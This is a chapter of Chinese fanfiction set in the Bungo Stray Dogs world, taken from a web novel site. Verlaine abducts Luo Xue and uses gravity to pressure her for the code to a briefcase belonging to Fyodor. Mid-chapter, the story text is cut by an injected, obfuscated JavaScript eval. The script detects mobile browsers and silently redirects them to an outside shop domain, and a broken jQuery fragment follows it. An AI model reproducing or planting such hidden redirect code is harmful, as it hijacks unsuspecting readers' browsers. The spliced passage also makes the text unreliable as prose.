文趣网 > 都市小说 > 天人五衰的小姐被魏尔伦拐跑啦 > 3. 沦为魏尔伦的俘虏
    洛雪本能地后退着,直到后背抵上冰冷粗糙的墙壁,无路可退。

    “看来你是不愿意咯。”魏尔伦轻笑。

    “魏尔伦先生,强迫一位无辜的女性、蛮横的向她索要东西并不是什么绅士的行为吧?”

    “强迫?”魏尔伦停住脚步,歪了歪头。

    “那你倒是说说,我强迫你了什么?我只是对你携带的物品感到好奇,所以请求看一看,这也有错吗?”

    “更何况,我有任务在身,奉我们首领的命令尽可能清理所有路过的可疑人物,洛雪小姐的种种行为实在很难不让人多想。”

    “你们首领?”洛雪皱了皱眉,“是谁?”

    魏尔伦没有回答,冰冷的视线仍然停留在她怀里那个黑色皮箱上。

    “我再说最后一遍,把东西给我。我想,洛雪小姐不会愿意知道真正“蛮横地索要”是什么样子的。”

    洛雪一言不发,始终倔强地盯着魏尔伦。

    气氛在此刻压抑到了极点。

    对方实力未知,而她却没有异能力,唯一能够依靠的是从据点出来之前随手摸的手枪,但冒然出手并不是什么明智之举,还有可能激怒魏尔伦。

    论体术的话,她在这方面用一窍不通来形容根本不夸张,以她的身形也根本不是一个成年男子的对手,那么剩下的办法只有——

    逃!

    也不知道突然从哪里来的勇气,洛雪猛地转身就跑。

    风声呼呼。

    魏尔伦似乎并没有追上来,然而她跑了没几步,忽然多了股巨大的力道把她僵硬的定格在原地,全身动弹不得。

    这个感觉,是重力?洛雪的瞳孔收缩了几分。

    整个横滨能将重力使用得炉火纯青的也就只有□□的五大干部之一,中也。知己知彼百战百胜,她是见过那位重力使的,在天人五衰内部对方也被列为了需要特别警惕的最高危险等级的人物,眼前之人并不是他。

    可魏尔伦却同样能将重力使用得运转自如,同样的强大,莫非……

    一个可怕的身影在洛雪脑子里浮现了出来,她脸色变得惨白。

    “被誉为古代北欧奔放不羁的神明,有暗杀王之称的欧洲强大超越者,魏尔伦?”

    可他不是早就死在六年前横滨遭遇的那场空前绝后的灾难之中了吗?!

    “哦?你知道我?”魏尔伦挑了挑眉,饶有兴趣的打量着她。

    自从“维维尔”事件以后他便久居□□地下室,□□也对外宣称他已经死了,六年来未曾露面,直到最近横滨被有心之徒搅得天翻地覆才不得不出门,面前这个连异能力都没有的小丫头居然能猜出自己的身份?

    “有趣。魏尔伦拍手鼓掌,“看来之前是我小瞧你了。”

    他早该察觉到的,能说出那种狂言妄语的人会是什么贤良之辈?

    “这下我更不能放走你了。”

    洛雪意识到不妙:“你想做什么?”

    “想邀请你到我们的地盘做客。”

    魏尔伦只是轻轻抬了一下手,洛雪身上重力的压迫感便越来越强,像有一双手在紧紧攥着喉咙。她的呼吸越来越困难,眼前的视线也越来越模糊,魏尔伦的身影在恍恍惚惚地重叠……

    洛雪猝然惊醒的时候,已经身处一个陌生的地方。

    她揉了揉脑袋,尽力让自己清醒起来,然后小心翼翼地观察着四周,只见映入眼帘的是豪华的装修,地上铺着昂贵的毛皮毯,透过巨大的落地窗可以将这座城市一览无余。

    这里是,□□大厦?!

    魏尔伦就翘着二郎腿坐在旁边的真皮沙发上,气质优雅矜贵,漫不经心地把玩着她视若珍宝的黑色皮箱。

    “原来传言不假,你真的被森鸥外秘密认命为了□□五大干部之一。”洛雪惊讶。

    但这么重要的事情为什么费奥多尔对她只字未提?费奥多尔不可能不认识魏尔伦,可那天晚上他却对她在咖啡厅里的境遇毫不在意。

    “既然如此,就不用我自报家门了。”魏尔伦停下手里的动作,目光落在她身上时变得危险。

    “那么你呢?洛雪小姐。”

    魏尔伦放下黑色皮箱,起身,居高临下地俯视着瘫在地上的她。

    “我原本以为,你只是这座城市里一个喜爱文学的不起眼的文艺女青年,随时有可能丧命在纷争之中。”

    “那天晚上在咖啡馆,我甚至默默祈求你的那份纯粹能够留得长久一些,可你却真的活到了现在,还能让我问出这种问题。”

    “如你所见,我只是个普通人。”洛雪摊了摊手,语气无辜。

    “什么普通人会有这种特地用来保存重要文件的高级箱子?”

    洛雪顿了顿。

    魏尔伦冷笑:“你不想说也没关系,我有的是办法知道。”

    之后便陷入了久久的沉默。

    这种表面平静实际上暗含杀机的氛围让洛雪觉得度日如年,每一分一秒都像被凌迟着,内心焦躁不安。

    魏尔伦则不慌不忙,蔚蓝色的眼睛眺望着窗外宛如末日般的景象。

    大概半小时后,门被轻轻叩响。

    “进。”

    身穿黑色西装,戴着墨镜的□□成员恭敬地弯腰,把一个档案袋呈交给他。

    “魏尔伦大人,您要的东西。”

    魏尔伦接过打开,仅仅只是扫了一眼脸色就大变,斜睨了蜷缩在地上的洛雪一眼。

    虽然他早就猜了个七七八八,但并没有想到她竟然直接和那两个最为非作歹的组织扯上了关系,和那只臭名昭著的俄国老鼠有染。

    “洛雪小姐,不,或许我应该这么称呼你才对——”

    “死屋之鼠的成员,天人五衰的第六人。”

    洛雪浑身一僵:“我不知道你在说什么。”

    “别跟我装傻。”魏尔伦冷言,甩手将资料扔到她面前。

    洛雪迟疑地捡起,迅速浏览,上面的内容很简单,或者说魏尔伦的人费劲心思能够找到的也就这一点信息,记录的除了她的姓名、年龄喜好以外最引人注目的便是身份那一行。

    瞬间,洛雪精心编造的辩词在最实质的证据面前显得苍白无力,她抿了抿唇,欲言又止。

    “怎么,无话可说了?”

    魏尔伦俯身,像拎住一只幼猫一样轻轻捏住洛雪的后颈,迫使她抬头注视着自己。

    “比起你的身份,我更好奇你和那位被誉为‘魔人’,曾把横滨所有人耍得团团转的男人费奥多尔是什么关系?”

    没有异能力、不擅体术,甚至此刻沦落到了自身难保的境地……费奥多尔那种不择手段的人究竟出于哪种目的才会将这样一个利用价值几乎为零的女人留在身边?

    从这份花了好大一番力气才得到的、算得上空白的档案足以看出点端倪了,但魏尔伦仍然不愿意往那个方向想,然而种种迹象都指向那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626884|206278||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个他觉得很不耻的可能性。

    直到洛雪亲口承认。

    “魏尔伦先生居然也会对别人的家事感兴趣吗?”她勾唇一笑。

    “我和费佳,是恋人。”

    费佳,多么亲昵的称呼。

    魏尔伦有点感觉一直以来的认知被打碎了,看着她顶着那张神似挚友兰波气质的脸喊着他最不屑的男人的爱称,心里莫名恼火。

    他的眼神暗了暗:“我以为费奥多尔那种人,身边只会留下棋子。”

    提及那个名字,洛雪始终流露出不安的眼睛坚定了几分,迎上了魏尔伦的视线:“费佳只是想纠正这个世界,让所有人过上幸福的生活。”

    魏尔伦嘲讽:“所以那天晚上在咖啡店里你对我说的话,也是魔人教你的对吧?”

    ‘世界肮脏罪恶么……?那,把它纠正就好了。’他的脑海里再次闪过洛雪说这话时天真残忍的表情。

    “可惜。”魏尔伦啧啧了几声,“魔人已经死了,你现在是□□的战利品,我的俘虏。”

    “费佳没死,他也不会死!”被戳中伤心事,洛雪的眼眶微微泛红,像在和大人置气。

    “需要我教你认清楚你现在的处境吗?”

    魏尔伦有点不悦,捏着她后颈的手指收紧了几分。但他发现了一个很有意思的事情,只要涉及到费奥多尔,就能轻而易举地激起洛雪的情绪。

    两人无言的对峙了几秒后,魏尔伦终于将她放开,起身,拿起了桌上那个被遗忘已久的黑色皮箱。

    上面的密码锁是被特别安置的,他刚刚尝试过用重力卸下,或者直接将锁破坏,但无一例外都失败了,如果强行打开箱子恐怕会损坏里面的重要情报。

    “给你一个机会。告诉我,密码是什么?”

    洛雪咬着嘴唇,死死瞪着他。

    “我的耐心是有限的。”魏尔伦俯视着她的目光冰冷,若有若无的重力红光萦绕全身。

    洛雪摇头:“我不知道。”

    周遭的气息危险了起来,她的骨头突然像被挤压了一样疼痛得咯吱作响,整个人痛苦得到底。

    “我不知道,真的不知道。”

    “我没撒谎。费佳只告诉过我要好好保管它,根本没说密码。”她连里面装的是什么东西都不清楚。

    魏尔伦这才缓缓收回了重力。

    “不知道那就给我好好想。什么时候想出来,我再考虑什么时候把你放走。”

    不,他不可能放她走。

    魏尔伦笑容阴冷,纠正刚刚说错的话,“什么时候想出来了,我再考虑……要不要留你一命。”

    一动不动地躺在地上的洛雪眼神里流露出绝望,但也仅仅是瞬间。

    她没有想到那天晚上和费奥多尔见的竟然会是最后一面,他交代要好好保护这个箱子的事还历历在目,心中不免泛起一阵酸涩。

    “我想出来了也不可能告诉你。”洛雪嘲讽道,两边小臂支在地毯,勉强支撑着站起来,身形摇摇欲坠。

    “嘴巴还挺硬。”魏尔伦居高临下地看着她这副狼狈的模样。

    “也许不用你我们就能把密码解开了。要知道,□□不缺乏能破译密码的精英人士,更不缺强大的异能者。”

    他讥讽回去,拎着黑色皮箱转身往外。

    却在这时候——

    “还给我!!”

    洛雪嘶声,抱着鱼死网破的想法向魏尔伦扑了过去。